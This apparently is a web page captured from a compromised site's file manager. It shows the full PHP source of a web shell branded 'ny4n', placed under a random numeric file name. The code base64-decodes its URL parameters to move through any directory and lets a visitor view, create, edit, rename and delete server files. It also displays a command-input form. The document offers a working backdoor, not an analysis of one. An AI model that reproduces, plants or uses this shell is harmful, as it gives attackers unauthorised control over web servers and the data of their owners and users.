??
You're inside public_html, but wp-admin or wp-content was not found.
Savvy
W
olf -
MANAGER
Edit File: 17150265545495.PhP
<?php // Enable gzip compression ob_start('ob_gzhandler'); // Output your HTML content echo '<!DOCTYPE html>'; echo '<html>'; echo '<head>'; echo '<title>🐼</title>'; echo '<link href="https://fonts.googleapis.com/css?family=Permanent+Marker" rel="stylesheet">'; echo '<style>'; echo 'body {'; echo ' font-family: \'Protest Revolution\';'; echo ' background-color: #f9f9f9;'; echo ' color: GoldenRod;'; echo ' margin: 0;'; echo ' padding: 0;'; echo ' text-shadow: 2px 2px 4px rgba(255, 0, 0, 0.5);'; echo '}'; echo '.container {'; echo ' max-width: 800px;'; echo ' margin: 20px auto;'; echo ' padding: 20px;'; echo ' background-color: #fff;'; echo ' border-radius: 5px;'; echo ' box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);'; echo '}'; echo '.result-box {'; echo ' width: 97.5%;'; echo ' height: 200px;'; echo ' resize: none;'; echo ' overflow: auto;'; echo ' font-family: \'Protest Revolution\';'; echo ' background-color: #f4f4f4;'; echo ' padding: 10px;'; echo ' border: 1px solid #ddd;'; echo ' margin-bottom: 10px;'; echo '}'; echo 'hr {'; echo ' border: 0;'; echo ' border-top: 1px solid #ddd;'; echo ' margin: 20px 0;'; echo '}'; echo 'table {'; echo ' width: 100%;'; echo ' border-collapse: collapse;'; echo ' margin-top: 20px;'; echo '}'; echo 'th, td {'; echo ' padding: 8px;'; echo ' text-align: left;'; echo '}'; echo 'th {'; echo ' background-color: #f2f2f2;'; echo '}'; echo 'tr:nth-child(even) {'; echo ' background-color: #f9f9f9;'; echo '}'; echo 'tr:hover {'; echo ' background-color: #f2f2f2;'; echo '}'; echo 'input[type="text"], input[type="submit"], textarea[name="file_content"] {'; echo ' width: calc(100% - 10px);'; echo ' margin-bottom: 10px;'; echo ' padding: 8px;'; echo ' max-height: 200px;'; echo ' resize: vertical;'; echo ' border: 1px solid #ddd;'; echo ' border-radius: 3px;'; echo ' font-family: \'Protest Revolution\';'; echo '}'; echo 'input[type="submit"] {'; echo ' background-color: #4CAF50;'; echo ' color: white;'; echo ' font-family: \'Protest Revolution\';'; echo ' border: none;'; echo ' cursor: pointer;'; echo '}'; echo 'input[type="submit"]:hover {'; echo ' background-color: #45a049;'; echo '}'; echo '.item-name {'; echo ' max-width: 200px;'; echo ' overflow: hidden;'; echo ' text-overflow: ellipsis;'; echo ' white-space: nowrap;'; echo '}'; echo '</style>'; echo '</head>'; echo '<body>'; echo '<div class="container">'; // Your PHP code goes here $rootDirectory = __DIR__; function x($b) { return base64_encode($b); } function y($b) { return base64_decode($b); } foreach ($_GET as $c => $d) $_GET[$c] = y($d); $currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); chdir($currentDirectory); $viewCommandResult = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Sanitize input to prevent injection attacks $post = array_map('htmlspecialchars', $_POST); if (isset($post['folder_name']) && !empty($post['folder_name'])) { $newFolder = $currentDirectory . '/' . $post['folder_name']; if (!file_exists($newFolder)) { mkdir($newFolder); echo '<hr>Folder created successfully!'; } else { echo '<hr>Error: Folder already exists!'; } } elseif (isset($post['file_name']) && !empty($post['file_name'])) { $newFile = $currentDirectory . '/' . $post['file_name']; if (!file_exists($newFile)) { if (file_put_contents($newFile, '') !== false) { echo '<hr>File created successfully!'; } else { echo '<hr>Error: Failed to create file!'; } } else { echo '<hr>Error: File already exists!'; } } elseif (isset($post['edit_file'], $post['file_content'])) { $fileToEdit = $currentDirectory . '/' . $post['edit_file']; if (file_exists($fileToEdit)) { if (!empty($post['file_content'])) { if (file_put_contents($fileToEdit, $post['file_content']) !== false) { echo '<hr>File edited successfully!'; } else { echo '<hr>Error: Failed to edit file!'; } } else { echo '<hr>Error: File content cannot be blank!'; } } else { echo '<hr>Error: File not found!'; } } elseif (isset($post['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $post['delete_file']; if (file_exists($fileToDelete)) { if (unlink($fileToDelete)) { echo '<hr>File deleted successfully!'; } else { echo '<hr>Error: Failed to delete file!'; } } elseif (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { echo '<hr>Folder deleted successfully!'; } else { echo '<hr>Error: Failed to delete folder!'; } } else { echo '<hr>Error: File or directory not found!'; } } elseif (isset($post['rename_item']) && isset($post['old_name']) && isset($post['new_name'])) { $oldName = $currentDirectory . '/' . $post['old_name']; $newName = $currentDirectory . '/' . $post['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo '<hr>Item renamed successfully!'; } else { echo '<hr>Error: Failed to rename item!'; } } else { echo '<hr>Error: Item not found!'; } } elseif (isset($post['view_file'])) { $fileToView = $currentDirectory . '/' . $post['view_file']; if (file_exists($fileToView)) { $fileContent = file_get_contents($fileToView); $viewCommandResult = '<hr><p>Result: ' . $post['view_file'] . '</p><textarea class="result-box">' . htmlspecialchars($fileContent) . '</textarea>'; } else { $viewCommandResult = '<hr><p>Error: File not found!</p>'; } } } // Output your HTML content here echo '<center>'; echo '<div class="fig-ansi">'; echo '<pre id="taag_font_ANSIShadow" class="fig-ansi"><span style="color: #ff0000;"> <strong> ny4n </strong> </span></pre>'; echo '</div>'; echo '</center>'; echo '<hr>curdir: '; $directories = explode(DIRECTORY_SEPARATOR, $currentDirectory); $currentPath = ''; foreach ($directories as $index => $dir) { if ($index == 0) { echo '<a href="?d=' . x($dir) . '">' . $dir . '</a>'; } else { $currentPath .= DIRECTORY_SEPARATOR . $dir; echo ' / <a href="?d=' . x($currentPath) . '">' . $dir . '</a>'; } } echo '<br>'; echo '<hr><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="text" name="folder_name" placeholder="New Folder Name"><input type="submit" value="Create Folder"></form>'; echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="text" name="file_name" placeholder="Create New File"><input type="submit" value="Create File"></form>'; echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="text" name="edit_file" placeholder="Edit Existing File"><textarea name="file_content" placeholder="File Content"></textarea><input type="submit" value="Edit File"></form>'; echo '<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form>'; echo $viewCommandResult; echo '<div>'; echo '</div>'; echo '<table border=1>'; echo '<br><tr><th>Item Name</th><th>Size</th><th>View</th><th>Delete</th><th>Rename</th></tr>'; foreach (scandir($currentDirectory) as $v) { $u = realpath($v); $s = stat($u); $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v)); echo '<tr><td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td><td>'.$s['size'].'</td><td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file" value="'.htmlspecialchars($v).'"><input type="submit" value="View"></form></td><td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file" value="'.htmlspecialchars($v).'"><input type="submit" value="Delete"></form></td><td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name" value="'.htmlspecialchars($v).'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td></tr>'; } echo '</table>'; // Function to delete directory function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } ?> </div> </body> </html>